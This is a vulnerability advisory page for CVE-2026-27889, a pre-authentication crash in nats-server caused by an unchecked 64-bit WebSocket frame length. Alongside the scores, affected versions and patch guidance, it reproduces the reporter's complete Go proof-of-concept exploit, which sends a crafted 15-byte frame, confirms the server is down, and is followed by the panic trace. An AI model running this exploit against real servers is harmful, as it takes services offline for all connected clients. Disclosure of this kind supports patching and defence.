Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

CVE-2026-27889 v2

HIGH

CVE-2026-27889 is a high-severity (CVSS 7.5) CWE-190 vulnerability in github.com/nats-io/nats-server/v2. A fix is available for github.com/nats-io/nats-server/v2 — see the affected versions and patch details below.

NATS: Pre-auth remote server crash via WebSocket frame length overflow in wsRead

Also known asBIT-nats-2026-27889GHSA-pq2q-rcw4-3hr6GO-2026-4841
Published
Mar 25, 2026
Updated
Sep 11, 2026
Affected
3 pkgs
Patched
2 / 3
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-27889.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs46th percentile — riskier than 46% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-27889 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

3 pkgs affected
🐹github.com/nats-io/nats-server/v2🐹github.com/nats-io/nats-server/v2🐹github.com/nats-io/nats-server

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

When using WebSockets, a malicious client can trigger a server crash with crafted frames, before authentication.

Problem Description

A missing sanity check on a WebSockets frame could trigger a server panic in the nats-server. This happens before authentication, and so is exposed to anyone who can connect to the websockets port.

Affected versions

Version 2 from v2.2.0 onwards, prior to v2.11.14 or v2.12.5

Workarounds

This only affects deployments which use WebSockets and which expose the network port to untrusted end-points. If able to do so, a defense in depth of restricting either of these will mitigate the attack.

Solution

Upgrade the NATS server to a fixed version.

Credits

This was reported to the NATS maintainers by GitHub user Mistz1. Also independently reported by GitHub user jiayuqi7813.


Report by @Mistz1

Summary

An unauthenticated remote attacker can crash the entire nats-server process by sending a single malicious WebSocket frame (15 bytes after the HTTP upgrade handshake). The server fails to validate the RFC 6455 §5.2 requirement that the most significant bit of a 64-bit extended payload length must be zero. The resulting uint64int conversion produces a negative value, which bypasses the bounds clamp and triggers an unrecovered panic in the connection's goroutine — killing the entire server process and disconnecting all clients. This affects all platforms (64-bit and 32-bit).

Details

Vulnerable code: server/websocket.go line 278

r.rem = int(binary.BigEndian.Uint64(tmpBuf))

When a WebSocket frame uses the 64-bit extended payload length (length code 127), the server reads 8 bytes and casts the raw uint64 directly to int with no validation. RFC 6455 §5.2 states: "the most significant bit MUST be 0" — but nats-server never checks this.

Attack chain:

  1. The attacker sends a WebSocket frame with the MSB set in the 64-bit length field (e.g., 0x8000000000000001).

  2. At line 278, int(0x8000000000000001) produces -9223372036854775807 on 64-bit Go (two's complement reinterpretation — Go does not panic on integer conversion overflow).

  3. r.rem is now negative. At line 307–311, the bounds clamp fails:

    n = r.rem                    // n = -9223372036854775807
    if pos+n > max {             // 14 + (-huge) = negative, NOT > max → FALSE
        n = max - pos            // clamp NEVER fires
    }
    b = buf[pos : pos+n]         // buf[14 : -9223372036854775793] → PANIC
    

    The addition pos + n wraps to a negative value (Go signed integer overflow is defined behavior — it wraps silently). Since the negative result is never greater than max, the clamp is skipped. The slice expression at line 311 reaches the Go runtime bounds check, which panics.

  4. There is no defer recover() anywhere in the goroutine chain:

    The unrecovered panic propagates to Go's runtime, which calls os.Exit(2). The entire nats-server process terminates.

  5. The WebSocket frame is parsed in wsRead() called from readLoop(), which starts immediately after the HTTP upgrade — before any NATS CONNECT authentication. No credentials are required.

Why 15 bytes, not 14: The 14-byte frame header (opcode + length + mask key) exactly fills the read buffer on the first call, so pos == max and the payload loop at line 303 (if pos < max) is skipped. The poisoned r.rem persists in the wsReadInfo struct. One additional byte of "payload" is needed so that pos < max on either the same or next read, entering the panic path at line 311.

PoC

Server configuration (test-ws.conf):

listen: 127.0.0.1:4222

websocket {
    listen: "127.0.0.1:9222"
    no_tls: true
}

Start the server:

nats-server -c test-ws.conf

Exploit (poc_ws_crash.go):

package main

import (
	"bufio"
	"encoding/binary"
	"fmt"
	"net"
	"net/http"
	"os"
	"time"
)

func main() {
	target := "127.0.0.1:9222"
	if len(os.Args) > 1 {
		target = os.Args[1]
	}

	fmt.Printf("[*] Connecting to %s...\n", target)
	conn, err := net.DialTimeout("tcp", target, 5*time.Second)
	if err != nil {
		fmt.Printf("[-] Connection failed: %v\n", err)
		os.Exit(1)
	}
	defer conn.Close()

	// WebSocket upgrade
	req, _ := http.NewRequest("GET", "http://"+target, nil)
	req.Header.Set("Upgrade", "websocket")
	req.Header.Set("Connection", "Upgrade")
	req.Header.Set("Sec-WebSocket-Key", "dGhlIHNhbXBsZSBub25jZQ==")
	req.Header.Set("Sec-WebSocket-Version", "13")
	req.Header.Set("Sec-WebSocket-Protocol", "nats")
	req.Write(conn)

	conn.SetReadDeadline(time.Now().Add(5 * time.Second))
	resp, err := http.ReadResponse(bufio.NewReader(conn), req)
	if err != nil || resp.StatusCode != 101 {
		fmt.Printf("[-] Upgrade failed\n")
		os.Exit(1)
	}
	fmt.Println("[+] WebSocket established")
	conn.SetReadDeadline(time.Time{})

	// Malicious frame: FIN+Binary, MASK+127, 8-byte length with MSB set, mask key, 1 payload byte
	frame := make([]byte, 15)
	frame[0] = 0x82                                             // FIN + Binary
	frame[1] = 0xFF                                             // MASK + 127 (64-bit length)
	binary.BigEndian.PutUint64(frame[2:10], 0x8000000000000001) // MSB set
	frame[10] = 0xDE                                            // Mask key
	frame[11] = 0xAD
	frame[12] = 0xBE
	frame[13] = 0xEF
	frame[14] = 0x41                                            // 1 payload byte

	fmt.Printf("[*] Sending: %x\n", frame)
	conn.Write(frame)

	time.Sleep(2 * time.Second)

	// Verify crash
	conn2, err := net.DialTimeout("tcp", target, 3*time.Second)
	if err != nil {
		fmt.Println("[!!!] SERVER IS DOWN — full process crash confirmed")
		os.Exit(0)
	}
	conn2.Close()
	fmt.Println("[-] Server still running")
}

Run:

go build -o poc_ws_crash poc_ws_crash.go
./poc_ws_crash

Observed server output before termination:

panic: runtime error: slice bounds out of range [:-9223372036854775793]

goroutine 13 [running]:
github.com/nats-io/nats-server/v2/server.(*client).wsRead(...)
        server/websocket.go:311 +0xa93
github.com/nats-io/nats-server/v2/server.(*client).readLoop(...)
        server/client.go:1434 +0x768
github.com/nats-io/nats-server/v2/server.(*Server).startGoRoutine.func1()
        server/server.go:4078 +0x32

Tested against: nats-server v2.14.0-dev (commit a69f51f), Go 1.25.7, linux/amd64.

Impact

Vulnerability type: Pre-authentication remote denial of service (full process crash).

Who is impacted: Any nats-server deployment with WebSocket listeners enabled (websocket { ... } in config), including MQTT-over-WebSocket. This is an increasingly common configuration for browser-based and IoT clients. The attacker needs only TCP access to the WebSocket port — no credentials, no valid NATS client, no TLS client certificate.

Severity: A single unauthenticated TCP connection sending 15 bytes crashes the entire server process. All connected clients (NATS, WebSocket, MQTT, cluster routes, gateways, leaf nodes) are immediately disconnected. JetStream in-flight acknowledgments are lost and Raft consensus is disrupted in clustered deployments. The attack is repeatable on every server restart.

Affected platforms: All — confirmed on 64-bit (linux/amd64); 32-bit platforms (linux/386, linux/arm) are also affected with additional frame-desync consequences.

( NATS retains the original external report below the cut, with exploit details. This issue was also independently reported by GitHub user @jiayuqi7813 before publication; they provided a Python exploit.)

Affected Packages

3 total 2 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/nats-io/nats-server/v22.2.0&&< 2.11.142.11.14go get github.com/nats-io/nats-server/v2@v2.11.14
🐹Gogithub.com/nats-io/nats-server/v22.12.0&&< 2.12.52.12.5go get github.com/nats-io/nats-server/v2@v2.12.5
🐹Gogithub.com/nats-io/nats-serverall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/nats-io/nats-server/v2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/nats-io/nats-server/v2 to 2.11.14 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-27889 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-27889 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-27889. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant
ProductFixed inAdvisory
Multicluster Global Hub 1.4.5multicluster-globalhub/multicluster-globalhub-grafana-rhel9:1779579439RHSA-2026:22347
Multicluster Global Hub 1.6.5multicluster-globalhub/multicluster-globalhub-grafana-rhel9:1780167118RHSA-2026:23345
Red Hat multicluster global hub 1.5.3multicluster-globalhub/multicluster-globalhub-grafana-rhel9:1778867753RHSA-2026:21769

Frequently Asked Questions

### Background NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing. When using WebSockets, a malicious client can trigger a server crash with crafted frames, before authentication. ### Problem Description A missing sanity check on a WebSockets frame could trigger a server panic in the nats-server. This happens before authentication, and so is exposed to anyone who can connect to the websockets port. ### Affected versions Version 2 from v2.2.0 onwards, prior to v2.11.14 or v2.12.5 ### Workaroun
O3 Security · Impact-Aware SCA

Is CVE-2026-27889 in your dependencies?

O3 Security finds CVE-2026-27889 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-27889: v2 DoS (High 7.5) | O3 Security